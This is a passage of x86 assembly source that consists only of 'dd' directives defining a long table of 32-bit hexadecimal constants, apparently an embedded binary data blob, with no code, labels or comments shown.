		dd 0E2B8E28h, 940C5E2Fh, 31243768h, 0AF300B5h, 881404C9h
		dd 4449173Bh, 23698038h, 8B2F9770h, 54F910E0h, 78118F00h
		dd 74059804h, 0F426F1B2h, 0E7E8F848h, 51D5058Ch, 0C23EB1A7h
		dd 7490AD58h, 3B64AA36h, 90607058h, 572489E5h, 0F873E8BBh
		dd 15A4E598h, 0B4BE046Dh, 8102083Fh, 0DA1F6716h, 8FD2E8C0h
		dd 602A2126h, 0D46B6440h, 2D78C18Dh, 49D64C37h,	82F061A8h
		dd 78959C18h, 0A9346887h, 941899E8h, 0F6E980A2h, 82E930h
		dd 0A9C3FEB1h, 3B7809C8h, 50D58700h, 703DAA1Eh,	8244833h
		dd 3665B9A1h, 0C0631038h, 43164FA0h, 95E0EB10h,	8B104048h
		dd 0E38C50F1h, 7BD95540h, 190093F9h, 0E6E778B9h, 0CFF0B007h
		dd 3FCDB660h, 7C057202h, 97F5CCEFh, 0BB1C0260h,	0CD376CC9h
		dd 0E46204D4h, 90C49007h, 0F2390006h, 10A86B85h, 910BE4C5h
		dd 18683F47h, 58DCAF88h, 2730688Dh, 2F60E0F1h, 9106E492h
		dd 0CF983F25h, 0C6660030h, 0F615D087h, 78143DA9h, 0A5984F4Bh
		dd 0C09ECC08h, 23970DB3h, 0B022AF46h, 0DBB6A09h, 3022898Ch
		dd 1252B978h, 4FB2E21h,	12A6E40Ch, 0B09CE00Eh, 0E224484Ch
		dd 7CE70BA0h, 6517C014h, 5C20D904h, 12BD8543h, 91DBE2h
		dd 29D85685h, 7A03E351h, 3881CA83h, 3A08857h, 0B840D5FBh
		dd 4B85558Fh, 8348BCCh,	4BC977D8h, 0E4CC5400h, 2713A41Eh
		dd 0B840E548h, 2F3FD507h, 0E9210084h, 0EC88AF3Dh, 6C93D39Ah
		dd 4D37BA38h, 1F8001Ch,	3F40E9A3h, 78F0361h, 4BDC3DF6h
		dd 7486E690h, 0B783A601h, 4E795487h, 102044C1h,	0AA848880h
		dd 8058B159h, 0A7A82E48h, 68008756h, 6F0B2E70h,	24C977E9h
		dd 0C02CB5EDh, 0E6F91388h, 37F28898h, 9B77D0Ah,	281DC8EAh
		dd 78B220h, 2F150135h, 0F2731E4Dh, 8987AB01h, 597F5153h
		dd 21170898h, 0F2006B44h, 0BEAB9778h, 0A03060h,	280CD2BCh
		dd 0F6831335h, 401407Ch, 504D9959h, 0FED032FDh,	0A74F0014h
		dd 0A1B86FC1h, 0B0331922h, 7430891h, 0C19F7121h, 5A27C33Eh
		dd 66C389D0h, 401B7900h, 20E624B6h, 9CCA0FFDh, 9561115Eh
		dd 803BD00Ch, 424FAB80h, 57156853h, 13C86885h, 148825C1h
		dd 1ABBE0C3h, 9EC0C742h, 0D80A26B4h, 0A77C0C00h, 9AC48190h
		dd 805F6010h, 67FEB772h, 0C0511730h, 596D2Fh, 5AD68AD8h
		dd 42CE3339h, 216708CCh
		dd 0D8510090h, 3D2170FBh, 24E21C8Bh, 6647EE05h,	0A3C179BCh
		dd 885736FEh, 3C2AB8D0h, 0B5F90790h, 6FEDE97Bh,	0FBAE583h
		dd 0CE58982Ch, 40B04F1Ah, 0D238FAB1h, 2FD88318h, 0D7D81863h
		dd 1050F293h, 17821056h, 806A1160h, 98BA1D19h, 1F61EC63h
		dd 197CFA3Eh, 20879675h, 90A05D06h, 7E78A690h, 134BE21Eh
		dd 820A5126h, 0FE06BCF2h, 3EE938FDh, 6D0060B8h,	0A525C247h
		dd 8300DAF7h, 4632DAAh,	3B82765h, 0A42F7EFFh, 410018E6h
		dd 5D108E34h, 1971AB9Eh, 8739602h, 5B218031h, 0D12E1086h
		dd 53CC2F41h, 1A074C54h, 1145ECA0h, 9A0C8020h, 14FA0A4Dh
		dd 648CD6C5h, 3E806464h, 0AC42D687h, 8D64448Ch,	81D84E38h
		dd 3E7CEEA3h, 302402D5h, 0E0D40164h, 0D89A87FEh, 0BA8C4060h
		dd 1464681Dh, 90984F78h, 6EC108A6h, 4CC499B8h, 0C19E7040h
		dd 0D73B922Bh, 2AF4001Ch, 4C57D968h, 5CBE49B3h,	0AB2F7F1Fh
		dd 10880794h, 627BA457h, 8055202Eh, 82040910h, 31C6D244h
		dd 0E8BFAC80h, 0ABE3102Eh, 0AA870646h, 2C15874h, 0EC98F70Dh
		dd 98801472h, 0B21E734Dh, 417F0A18h, 88FE30h, 0A0519D48h
		dd 1CCF05EFh, 108470D0h, 0BC005AACh, 44BE7BEAh,	0E801FD53h
		dd 0D281A58Ah, 208179B0h, 6515C12Fh, 4C204F82h,	62204245h
		dd 170F020h, 8AF80C3Eh,	0C8093680h, 0F4A3080h, 5CE5F965h
		dd 8F1369F6h, 5C5C61C7h, 0ECA0D218h, 49C67A1Ah,	976A1C01h
		dd 9BC82793h, 9FC95F0h,	50BA6525h, 0FBE8082h, 0ABFB503h
		dd 1EE7E074h, 0C02780B0h, 0AC974540h, 30B1F901h, 266B032Eh
		dd 80235832h, 0A6F26E01h, 19186187h, 663F88h, 38B1A1F2h
		dd 5847FD27h, 83DB0A06h, 11C069C2h, 255B224h, 48AA079Eh
		dd 8E88817Fh, 45DACE4Ch, 6032E4A4h, 0C6391Bh, 4D75C29h
		dd 7F6F43CCh, 0EB20D490h, 202C9031h, 14182EE6h,	2341A8FEh
		dd 0B81601EEh, 664BFA8Ch, 45C8E06Dh, 0DA5CDF08h, 0A2984CB3h
		dd 108C048Ch, 389B9E5Bh, 10843B59h, 54017487h, 30A0AF28h
		dd 0EAB8AA95h, 0B0298F28h, 4049FDFAh, 7FA209A0h, 5EB2006Eh
		dd 3BDB710h, 0B9F2A32Ah, 0EBC06695h, 40A0885Ch,	4626BA7Ah
		dd 5902A05Dh, 43F28Bh, 0D3C405CFh, 3C7458h, 534517D4h
		dd 28CC9E4Eh, 0F801D1Eh, 338D81A6h, 449A0D83h, 0E2BA8106h
		dd 7C982BB3h, 50993DC5h, 21301B98h, 6F8CE95h, 0BBD12306h
		dd 9703946h, 36D23E15h,	8C4002Ah, 0B8287D9Ch, 45186810h
		dd 72B4230Ah, 0BFCE80FCh, 24D25DCFh, 7622D490h,	990D1A0Fh
		dd 90A07141h, 532B4DCh,	74121D8h, 0CD8303ACh, 0AA1647Ah
		dd 0F30B3380h, 0E9E05140h, 97025800h, 6C681D50h, 60DC6449h
		dd 101EB049h, 7E8C2CACh, 0CAEF1004h, 9D071483h,	94CBBEB4h
		dd 8F5C0020h, 0B07BCD02h, 4801CC0Fh, 7084B590h,	9C203113h
		dd 6F048C81h, 6987A7F2h, 67004038h, 0BAF772F2h,	2689C5A0h
		dd 189CF41Ch, 69F7182h,	0B688A493h, 0BF028E4Fh,	93D9039Ch
		dd 20083B62h, 0C4E337Dh, 41296118h, 5E6B7C00h, 83BA58C3h
		dd 0E5590016h, 2A64B796h, 0EA26366Fh, 8B0A5CFBh, 2F029C2Ch
		dd 6360B2h, 188D5C82h, 6B99C91h, 7E50B1FFh, 1E2E1420h
		dd 1F03885Eh, 5D18B96Fh, 0C1857900h, 3D9FD3BEh,	58BA3F91h
		dd 8477B49Ch, 81904550h, 8846A2D4h, 8052BAD9h, 0F97E2806h
		dd 3E0A4E7Ch, 0C40482C4h, 2D873031h, 29E2CC23h,	0F08CDD33h
		dd 437D00E6h, 6B778CB1h, 70729313h, 0E704E49h, 91D83E6Eh
		dd 78A20904h, 0D67F0079h, 0C34C0A93h, 5C187528h, 0BCA9B913h
		dd 1A84CD00h, 41B96B9h,	34E97C5Eh, 3E44C2A3h, 9A8BAE20h
		dd 3C424874h, 4E23BA09h, 0B78080B7h, 0AC72CD85h, 4E1E00BFh
		dd 0D895AE59h, 0E8177BCCh, 200453E3h, 46000FD2h, 621CA287h
		dd 21E7D492h, 374C20D5h, 0C65D1F40h, 0F97EB588h, 0BC99E4A1h
		dd 9C972A08h, 5AC4AF50h, 0B0652440h, 309B22C8h,	0A8849A24h
		dd 0DFD2F585h, 7D452890h, 0AFAB16B6h, 1E3464DCh, 26875284h
		dd 20DF6824h, 20061353h, 5D80E5FDh, 0AB814854h,	0CEB873C1h
		dd 75114431h, 0EC8EF5A3h, 1628937Eh, 1E3CD43Fh,	9C034AB4h
		dd 0C4CCE8Ah, 57980DE0h, 8609E839h, 4A849F0h, 34906AC0h
		dd 35E32F0Ah, 4B02707h,	0E599804h, 9FC1518h, 20569BD6h
		dd 0F399D41Ch, 646F5269h, 2AEC891Eh, 0C5B37B24h, 4025E7D8h
		dd 779326E8h, 33135F6Ch, 9A00C914h, 90B755B6h, 0CC44E32Eh
		dd 508C04C4h, 0C7625BCh, 14070C29h, 3BFDC3B8h, 0CE88D100h
		dd 298062E1h, 1405762Eh, 0E839D973h, 0CD12AF80h, 0A600B4A2h
		dd 0D8352AFCh, 0C15F5A8Bh, 0B6C4A0C8h, 9D609909h, 6C368430h
		dd 0AAF27202h, 18318187h, 0F26A4310h, 5B838009h, 0D5318011h
		dd 4C0D20BAh, 0B080E896h, 12EAA63Ch, 12FDAA39h,	4C4F68CCh
		dd 0B4240245h, 0D8B0A336h, 5FA810CFh, 937804B7h, 24B2421Ah
		dd 3C469B08h, 36309420h, 53098903h, 0CF02027Ah,	2006BC9Eh
		dd 38C69893h, 408AB310h, 5B380780h, 0F0CF7CF4h,	18C66D3Eh
		dd 8C6A3092h, 0D8085CBCh, 0C472D68Dh, 54934066h, 1DD44ED8h
		dd 0B1C63E95h, 805E1850h, 130BCE21h, 0E45633h, 651FD58Dh
		dd 0BB84BDF1h, 0B0953D24h, 22D6E08h, 1C2AEC3Eh,	9F4EC4A0h
		dd 98ACA6F9h, 54D53E26h, 0CA28940h, 44A4AE76h, 8902B392h
		dd 5F02BCEBh, 994C430Dh, 8022349Bh, 5CD3506h, 62398061h
		dd 12CC4CD2h, 0C40F17EEh, 1CC384B8h, 1C6010A5h,	872740D7h
		dd 91D0CA35h, 31BB7404h, 37970D05h, 0C912D0F8h,	149B52B9h
		dd 53494828h, 0C1AA80F0h, 9CB9B872h, 0A27458C8h, 387EC132h
		dd 9A0C40F7h, 9B5680FCh, 397A20h, 0F0CD8165h, 2B78896h
		dd 0DE77CE05h, 90C12CD8h, 0C4243EC3h, 0F07F53F8h, 0AC3069A2h
		dd 7EF01CA9h, 1D936E8Bh, 8EBB84BAh, 24288C48h, 6ED02510h
		dd 7532AF0Fh, 70C53089h, 736069E4h, 11029B0Bh, 0D76FFC80h
		dd 3C546C8Dh, 9317B5C6h, 3B041366h, 8C7F90h, 0D4342AEBh
		dd 45E0685Bh, 4A86E713h, 0AC43842h, 0BED8022Ch,	8AC230C3h
		dd 0D0F1B859h, 5ED0C81Fh, 18955E09h, 90BC86D3h,	59245CB0h
		dd 0E8058453h, 0D33BD2F6h, 1804FF78h, 0D09A074Dh, 0A9764A0h
		dd 0FDF9E505h, 36DE09B4h, 0CEF868EEh, 4A2EECB0h, 0C6425010h
		dd 8265042Fh, 84506C34h, 47D4E25h, 908194A8h, 90027FBh
		dd 5702A4D5h, 5C3C9AC5h, 1BC5111h, 1AD92197h, 7E405EEFh
		dd 13110F42h, 92B44D22h, 60441804h, 720D3A00h, 2558BA20h
		dd 4FE00BC0h, 4C6C8314h, 0FE6038D1h, 0B3352B00h, 0C2384D81h
		dd 25DC083Eh, 4E880552h, 1038A454h, 3A1A5F86h, 3C40192Eh
		dd 39768803h, 84428327h, 349216F0h, 93C882CAh, 95D448EEh
		dd 0E00D48ECh, 4504484Ah, 0A209D347h, 5BE8886Ch, 59B3882Ch
		dd 322054A8h, 0EC9F0849h, 0D0021596h, 59441ABBh, 48991158h
		dd 4E97B94h, 1388D404h,	98CE6402h, 39ED88Eh, 99783E5Ch
		dd 0CCD289B8h, 81307C67h, 3694A2DBh, 2AB0210Bh,	8792D023h
		dd 406B172h, 0DC651CD7h, 0EAB37328h, 94374C12h,	9E631010h
		dd 0FF062710h, 187238C9h, 0B2D2B81Ah, 821C4191h, 7002BC66h
		dd 7187A8F2h, 41101431h, 9B07F268h, 808F232Ch, 54A16A54h
		dd 1EA786F0h, 44997658h, 82F9CC0Dh, 2068C92Ch, 4D0801C7h
		dd 160C293h, 0DF02B875h, 0B5A08933h, 93D84331h,	6D305021h
		dd 3C0A85Fh, 0F676008Eh, 2958F0EBh, 930125F1h, 17E14DD6h
		dd 65EC9062h, 0D0CE0995h
		dd 1C02B377h, 3E004102h, 0A01716CCh, 2D83D6D8h,	8A25E96h
		dd 0C40F19Ch, 0EC27B55Ch, 2820A718h, 0AD57AB41h, 0E0415AD9h
		dd 7E0007D0h, 4E1EE3DFh, 42CF68Bh, 0BBD68F81h, 108938B6h
		dd 302039FEh, 46441FCEh, 51DEA201h, 5F15BEDAh, 3C40E5F1h
		dd 5C0A9370h, 0DA848860h, 2AC01819h, 62FD8142h,	0AEED00A0h
		dd 4E3C7EA3h, 58963293h, 0E8827420h, 94CB16B7h,	6573CB1h
		dd 83E20B8h, 0FF5E1C96h, 0F713EA18h, 6806FA82h,	50087FECh
		dd 0D64DC810h, 0BDC6F59h, 80F1CB3Ah, 0B8967CAAh, 264730EAh
		dd 5848AAC1h, 0CBDA9883h, 49309919h, 984ECC85h,	0C10BA5E8h
		dd 6591B86Dh, 9D6F8020h, 0B39AFAC1h, 3EFC721Dh,	0BA896887h
		dd 6B3BD87h, 29C08FCFh,	0C6B6977h, 2DA7DA60h, 14905D78h
		dd 9849B044h, 404E2E68h, 2C983D2Ch, 0B37A3AF7h,	23F42759h
		dd 0D85B0169h, 186AD68Ch, 53928863h, 0A4F2D803h, 0D0B07B4Ah
		dd 0AD2EBE4Eh, 601764B0h, 1639D5Eh, 144020C8h, 791162C5h
		dd 0FAF8E87Ch, 311601B6h, 0D5272B66h, 8A9060E1h, 0A3884A8h
		dd 0A6466725h, 801941B8h, 801637E0h, 406954Eh, 7ECAFDE8h
		dd 58183021h, 0AB768369h, 577873Dh, 92EF3F1Fh, 0D7CD5C20h
		dd 547490C4h, 12278C5Dh, 225F88AAh, 0E7222B74h,	1604C821h
		dd 0EB7B3Eh, 0F44F3BD1h, 0F11F27BAh, 62186518h,	6DDF79h
		dd 0E17A360h, 3F21EAF7h, 2A87C400h, 5E1ECF9Dh, 5C15260Fh
		dd 22640864h, 3F39D420h, 4D2B12B7h, 0E9C1D437h,	1820892Eh
		dd 27FF1C8Ah, 0CC075535h, 248E0207h, 69AC00EDh,	9E1F4A46h
		dd 4FA026BCh, 0E7000A7h, 0EA307510h, 9C49BF28h,	21825F4Bh
		dd 10A058F0h, 2754E693h, 915C1765h, 36B2804Ch, 7F0E8A84h
		dd 23E0038Eh, 4ECFCE5Eh, 363941A9h, 0BC492450h,	8418BAC2h
		dd 75282FCh, 6133E5B8h,	520583DBh, 0B4D2FD90h, 0EA8E2117h
		dd 0A1A82900h, 0F150ABh, 0CED9B5C8h, 87EDC04Ch,	8E675100h
		dd 0BA655DACh, 58F759DAh, 61221457h, 0E407DCFAh, 8FCC6F0Fh
		dd 0B2A3EB00h, 39F80140h, 4B8B1BE3h, 617C6190h,	0D488424h
		dd 0FCC3FAD4h, 96A1386Ch, 0EF54E901h, 7502B560h, 0C0B45B1Ch
		dd 42F9DDA5h, 0A014057Eh, 0C821EEBCh, 0E18BFC94h, 18757AECh
		dd 442E1C30h, 2448BA40h, 421A1198h, 864FD210h, 7FC82F0Dh
		dd 0D9049930h, 0B5181Bh, 0A8457055h, 0E49F3DC5h, 18589658h
		dd 33291036h, 9C30066h,	0A8AA994h, 6F002462h, 7303F570h
		dd 1E977FE3h, 0CE5FAE8Fh, 9A290DB4h, 7C9968E9h,	8C46B8E4h
		dd 0A878243Eh, 0AE208CE5h, 0BD5C011Fh, 0BE0AAFE7h, 88EC6C13h
		dd 207CA86Ah, 87FA483Eh, 857CE092h, 0A8E68B2Ah,	53186E18h
		dd 2195031h, 81CD23AAh,	246234D2h, 11F3C0D2h, 99BA42FDh
		dd 0ED82E000h, 0EEABD9FAh, 3DE3F801h, 9E7C9FA5h, 714AF5E0h
		dd 0B7EC0998h, 24492B01h, 0C441A9B6h, 981843D1h, 8080174Ch
		dd 0EDE3BB62h, 1EE70234h, 0FD8E2B8Bh, 0EC7824E4h, 85130501h
		dd 0CA7F783Eh, 2F958088h, 0B70EA0A8h, 136E0A65h, 0F1D11804h
		dd 66F80812h, 89D858C0h, 225246D6h, 508F0068h, 0A58ADD8h
		dd 0B012C0B8h, 0F400322Dh, 3673F6E8h, 0D78B698h, 3CEAA227h
		dd 0E6632254h, 0BC80C87Dh, 1A895C86h, 97CD3BA9h, 0E5178B05h
		dd 0A048B0EBh, 108A048Ch, 628B9E59h, 8257202Dh,	943AD110h
		dd 68B8B2DBh, 87AD2034h, 6C62A4CAh, 22D93E90h, 0C505F4Dh
		dd 1FE7E509h, 0F0D84CD1h, 0B0848A3Fh, 0F2746086h, 918723ACh
		dd 45001211h, 50E3F26Ch, 822FB416h, 0E8808A29h,	0BA043C11h
		dd 132AB0Ah, 6F30AA89h,	22659852h, 6AC29BD6h, 432ABC52h
		dd 87429CF2h, 24B07A00h, 0D77F2B7Bh, 3C54EA79h,	0E303F3FCh
		dd 0FF4846CAh, 0B75CC0FAh, 41992D7Bh, 8071A0B2h, 9A184679h
		dd 0CCF4BB01h, 8A6BC1Eh, 927C4C29h, 5E28B6B8h, 0A9022C46h
		dd 0B8E95636h, 5FAFFC0h, 5DF39804h, 0E4F5A40Dh,	54DBE2F8h
		dd 0A0D59C3Ah, 822033A4h, 6354E882h, 4007C222h,	402ACECCh
		dd 2E187228h, 0E738A07Fh, 0D8055120h, 54920030h, 20CCB43Ch
		dd 4C00A7CAh, 0D08770D1h, 925B96BBh, 64A30A0Ch,	7820684Eh
		dd 958CA4B9h, 6A919C97h, 0E8E6B680h, 27070D8Ch,	3BFB3AE2h
		dd 67C8D251h, 9017E097h, 6102E6FCh, 0E03F1C00h,	75C95AE7h
		dd 1795EE65h, 0D3AF24ECh, 0F6D3076Ch, 0A0579F88h, 0E800EF4Ch
		dd 47E38C69h, 0AD31F0DEh, 450B3C49h, 2E84BBCEh,	0B2A18068h
		dd 6BB3245Fh, 2C9739F3h, 30876491h, 0B055F022h,	2012C036h
		dd 0A004B55Eh, 0A0124116h, 244F39B4h, 0A437821h, 0B3CE315h
		dd 0E621C2D0h, 2E7DE408h, 2F3C657Eh, 892B0836h,	3172CEDh
		dd 0B1846808h, 1508E579h, 13523804h, 20321D23h,	50E9410Bh
		dd 9F43548h, 92EC0431h,	8F9D0BF3h, 0E85E0BA8h, 99F0E90h
		dd 0DABBD6FBh, 0D8C468D0h, 0C8BC2EBEh, 3A8C69ECh, 6A805587h
		dd 0F66F99F7h, 2327454Fh, 7EFC8414h, 2BB894BCh,	76E01C8Ch
		dd 1AF647D0h, 0D162543Eh, 8526E684h, 0A9219A29h, 6364C300h
		dd 1B3138Bh, 0AD4CB74Bh, 30F7AB84h, 0BA01E0C4h,	9AC5AC68h
		dd 48686E5Ch, 2DF430D6h, 8E005234h, 8E1BCB2h, 1CFB398h
		dd 73A00F7Ch, 30AB4977h, 0A154D24Ch, 0DE067ECCh, 89E74254h
		dd 3AFC3091h, 5DBD1559h, 0BC001FF0h, 7BD8526Eh,	5BB49E35h
		dd 0A72C0B0Ah, 82221494h, 0BA740F3Dh, 0F24BE2h,	0B7077F20h
		dd 8207656Dh, 0AFE80C90h, 2C09B2BEh, 68C48FDh, 19091AD1h
		dd 54C0D17Ch, 0B0B44422h, 0D052FD96h, 61C818CBh, 27505EC6h
		dd 64A45966h, 0F9935F30h, 894F0808h, 583AEC02h,	2E4EE0C1h
		dd 6C00CC34h, 5FDC1E7h,	5184B432h, 0BB701063h, 0C43F5DBAh
		dd 25DC310h, 82BEB5EEh,	0A368C342h, 0C2213050h,	0C6D895D9h
		dd 94934898h, 619978h, 0A112F42Bh, 0A4B05ABDh, 34AA8708h
		dd 23B03058h, 8980422Bh, 44E89938h, 0DBA0066h, 9736E9B6h
		dd 0BCAC022h, 929BDA00h, 0C06248D8h, 56A9030Bh,	2C412C14h
		dd 8111200Fh, 0EE7B83D5h, 8CCE9053h, 71E1346Bh,	0F2C4E280h
		dd 7CE301Bh, 0B861B901h, 95966383h, 4EE4B460h, 0B334004Ah
		dd 0B6A2FE7Fh, 60546624h, 4948D3Bh, 5072705Bh, 0AF3048F2h
		dd 173C7AC3h, 155CC5E0h, 517788DCh, 41E2E4BCh, 0C7221A7h
		dd 9330CE16h, 1FCA664h,	0B424BED2h, 93A459A6h, 3614927Ch
		dd 0B4732520h, 5987394h, 0AD2466FBh, 0CE30C057h, 0C61A5CD5h
		dd 4010039Ah, 0B933F294h, 0E0421A40h, 28F210C3h, 2C9C945Ah
		dd 38488440h, 0BAD202B0h, 0CE32F5A6h, 0D85AC86Ch, 0D73EE431h
		dd 0D274202Ah, 99805438h, 2809784Eh, 9F086B84h,	0C6BFB817h
		dd 9C7AA80Fh, 205A35A9h, 0E973C209h, 0CCCA8225h, 16F4F0DAh
		dd 0A61668ACh, 9752E024h, 23FF254Ch, 65442C67h,	6C5C8160h
		dd 0CDA1EA05h, 0B0092EF0h, 4544C297h, 1F3A9194h, 0C293BD0Dh
		dd 2323C4D2h, 80CFBC54h, 0F36A67C9h, 0D4AB7000h, 37294428h
		dd 13B8A40Ch, 0D276B8AAh, 552198E8h, 2C307F6Fh,	13DCB6BAh
		dd 813C9B65h, 0F6F1CD1h, 5E5EBCD8h, 26084415h, 0E5140243h
		dd 119C28B4h, 0D8578065h, 8C4AD688h, 78E6244h, 0A2D0D84Fh
		dd 0C3FAE264h, 9472F4C2h, 89AE2B0Fh, 0CCC0D6B2h, 4FAB02BAh
		dd 9AF00037h, 20835CEFh, 18C0909Dh, 116B60E7h, 8716E623h
		dd 51C19A71h, 0CAFD37B9h, 56180841h, 2CE68980h,	0EAD7C8FCh
		dd 0CC908E75h, 48205245h, 380D509Ah, 8C18A3Bh, 989189Fh
		dd 839E5810h, 5680C465h
		dd 48A21081h, 0D587246Ch, 288A085Ch, 0A00EB701h, 32E6ABCh
		dd 24E7ADECh, 18753900h, 59914E81h, 0DD140003h,	66EBF9A6h
		dd 8917522Bh, 98C250CAh, 89ACFB90h, 0D46749D1h,	0F0601AC4h
		dd 0DB7BEC33h, 0F66EC300h, 0F4CF5E93h, 787C0208h, 76EF043Eh
		dd 0E0CD50E1h, 8326DAB0h, 6B8154D9h, 398FEA58h,	5957D842h
		dd 0ED3030C0h, 0AF81DCFAh, 9D3FC610h, 6CA2890Ch, 242ED066h
		dd 83686503h, 7228C9FFh, 5DE31911h, 16E26C42h, 21C5230h
		dd 64B4D7A7h, 0B864FFA0h, 0CC3E6F4Ah, 84A06123h, 3F803A0Bh
		dd 0B830850Ch, 20B358C5h, 0EF3068A2h, 452A02BAh, 0F2B1DB4Fh
		dd 7B5EE040h, 5F4C0FF6h, 0D90212E4h, 9234C010h,	68235C2Eh
		dd 837E820Eh, 0C09466DDh, 2FE2382Bh, 20A435F3h,	18A08886h
		dd 3ED58309h, 7FF890D2h, 286CEC06h, 45D81AB0h, 0A8984469h
		dd 0ECD8418h, 0D810E749h, 8F00B963h, 31098479h,	627B8D5Ah
		dd 4E6C70CEh, 0B428F480h, 3A52D8BDh, 0B5322D0h,	412E8376h
		dd 0F8236813h, 0D85D016Bh, 7C7AD68Eh, 5594B020h, 4873E0D8h
		dd 27C04CD5h, 0D1E5AE68h, 0E16C2100h, 0A2D63398h, 0BDB3092Fh
		dd 0C0D9E603h, 0E408BC24h, 5099007Dh, 7570A227h, 64D11C9h
		dd 4F98FE2Ch, 846C90FCh, 653F12BCh, 97712486h, 8F0C832Fh
		dd 0D9925B5h, 12E42C65h, 6C636662h, 4C2778D7h, 0C0D213FCh
		dd 2D3CA65Dh, 3638C123h, 85CC48h, 0AC92F928h, 0B3945B1Fh
		dd 43F84A26h, 76024A26h, 74809AFDh, 0D895050Ch,	9EF4C2FCh
		dd 4F10105Ch, 4C50BF10h, 0A8393844h, 960F848Ah,	9C44CA09h
		dd 58E7CE0Fh, 80338C20h, 0A44AAA87h, 50E24813h,	3F710107h
		dd 172AD0D2h, 8D1DB805h, 0CF490ABCh, 0A240C065h, 0BAB8A8A8h
		dd 868C20Dh, 7C5E0CE1h,	0F2D6477Ch, 19717D6h, 585B8C0Ah
		dd 18083112h, 8C970B6Bh, 2634580Ah, 0B0C513C6h,	5D272284h
		dd 102CC489h, 930426E4h, 0C0A34008h, 9E5C108Dh,	0B04838F7h
		dd 1710855Ah, 439FC87h,	0E4302EE0h, 0FF22069Ch,	0C4A4A527h
		dd 84546362h, 7E800CC0h, 4ADE25BBh, 0E091B064h,	980D8905h
		dd 2580B0C8h, 42FE8Bh, 9988B453h, 0D88F8386h, 28FE8283h
		dd 4F91113Ch, 686B8C87h, 4EE7BD94h, 8EA4C418h, 0CF67C804h
		dd 3AC1A1E0h, 1013DD60h, 3467B624h, 671E5B54h, 34FC8C20h
		dd 0FA3D464Ch, 0C2ED0664h, 44986A48h, 8CB69DE7h, 0E65E25DCh
		dd 8DD2C448h, 58825900h, 99DFFA53h, 75F725B5h, 0C860A441h
		dd 0B34B4C88h, 0BC240C45h, 87ECCC55h, 61C7B910h, 840500E9h
		dd 4AB5FB4h, 5EA8EAB1h,	8EB8C29Ah, 0EC4CF06Ah, 5F1C849Dh
		dd 6922E410h, 804CE65Ch, 8D3D7D58h, 64740F62h, 0E820A8C4h
		dd 0D9BAD4D7h, 4B28708h, 148E0272h, 7136683h, 0A955D341h
		dd 28841968h, 642513CDh, 4E8B0445h, 49B298F3h, 0D5CB30h
		dd 92D953Dh, 789A8BF4h,	32E84361h, 8343BDAh, 9C751EB7h
		dd 5A65C261h, 205683E2h, 0BA166801h, 29839B0Ah,	78D0D289h
		dd 8B74D04Dh, 645AE7h, 0FCE86766h, 70238996h, 2AA8710Fh
		dd 562EC774h, 423C5252h, 5AB88939h, 0BBD60A8Ch,	268C47C6h
		dd 0B55CC1E4h, 3BE430E4h, 47F1640h, 6A0A1FDCh, 454B258h
		dd 4422BBD8h, 4B22A48Fh, 0CE49D4B0h, 83D6819Ch,	6C242F56h
		dd 46BA8840h, 7F94E8C4h, 7E0528B7h, 819DE8FFh, 9409634h
		dd 18A2C466h, 3C89230h,	0EA72737Ch, 0BB99B877h,	0DCF0AE1Eh
		dd 4B1AC468h, 97E0E619h, 0F8006837h, 0EB47A57Ah, 0CE7501D6h
		dd 934C33DFh, 46A42470h, 40DEBC2Dh, 298BD6E0h, 49D05736h
		dd 1E0364F9h, 0EDB6E813h, 60B5EC12h, 190DE000h,	0C8F5486Ch
		dd 250A52Ch, 6E6FD520h,	24742042h, 6D607F64h, 8721A5F2h
		dd 653EC059h, 22E8A6F2h, 240CA494h, 0E79EC0E1h,	0C40DA8BAh
		dd 20C007A2h, 4A40AAA0h, 9A6E3CCFh, 0AB18367Ch,	4620E0C1h
		dd 0E4A2083Bh, 0E627F4B6h, 347F5834h, 8C2ABCh, 0FFEECCE2h
		dd 4C6A0490h, 0A0B5CE7Dh, 7A3C4580h, 94F40070h,	0DC2EA3B2h
		dd 0C0827E8Eh, 0B55664ACh, 6053583Ah, 2D1670h, 30AC8338h
		dd 7EF55FD9h, 42CFA38h,	3722A062h, 45B48C8h, 0BD57E2A2h
		dd 4B7C81C7h, 20E061B8h, 6E40E864h, 0B05A4D17h,	0F9070E00h
		dd 4CC294C4h, 8E695204h, 0C8C9A2Ch, 6E541D89h, 176F9790h
		dd 407C2058h, 0C2F8A592h, 0C9BD5B02h, 7A097C79h, 27EF20C8h
		dd 0EC34CC90h, 90827869h, 4558E1CFh, 26F8E47Ch,	2F26E48Fh
		dd 0AE93D606h, 242C204Dh, 0CE40A0B5h, 310F48E5h, 0D7C02EB8h
		dd 0AC6F2AF5h, 0CBF2AC00h, 96BC9E29h, 0DE301F41h, 0AECC2D16h
		dd 8BA0C460h, 538CB217h, 8750B443h, 4E90A018h, 9D72309Eh
		dd 134B7C20h, 68A0286h,	0BE0DE16Dh, 230FDC51h, 0A289C1EEh
		dd 88325E74h, 9DC3A6Ah,	588265F7h, 68032BDFh, 5FE2C175h
		dd 10E8243Ah, 0D506E044h, 50DDE065h, 0A163E425h, 0FACC0D14h
		dd 32BC9F00h, 0B56C079Dh, 0BD005889h, 1391F897h, 9E6F2380h
		dd 21554EECh, 0C490D78Ch, 10C9033Ah, 803005ACh,	2F5A98BCh
		dd 4B2374h, 9CF2F382h, 6E16D9D5h, 34096DEEh, 548489D0h
		dd 8BD88218h, 0A064382Ah, 68C8015Bh, 195A617Eh,	0BD1BD6C5h
		dd 0DE830B30h, 0AAF8C949h, 934908D3h, 0A0044C3Eh, 9CCE656Fh
		dd 6C01788h, 0F31174h, 0F70E601Ah, 421FA3D2h, 84205891h
		dd 0C8FC950Bh, 44A81658h, 0DA2ABA76h, 3B2DF443h, 0B23821A1h
		dd 7C24FF02h, 0AE270FD7h, 6BA93288h, 4AF1FC79h,	2400FF18h
		dd 0A306EA90h, 77A0721Eh, 8C3254ECh, 0C75230F6h, 72D03E31h
		dd 0A491165Ah, 290954B0h, 0A42F5BC8h, 0B9001223h, 0D230E5FDh
		dd 7022F32Bh, 596BBD05h, 0BF448015h, 0B313E0F2h, 7810E689h
		dd 8C19E8D0h, 12476E03h, 0D2C2C7E3h, 8A14403Ch,	2043823Fh
		dd 0DF136039h, 0DB115C3Bh, 42DBF83Ah, 0CC04E43Ah, 0A819073Ah
		dd 0E68092DFh, 0AF48F4h, 9868BA5h, 14F6D08Ah, 7AD23F15h
		dd 0DCF30F80h, 0F921EBB4h, 74B7AFACh, 19360B3Dh, 40FC4F16h
		dd 7548C41h, 72F80A30h,	0D79B0D0Eh, 0C9280EC9h,	381167ACh
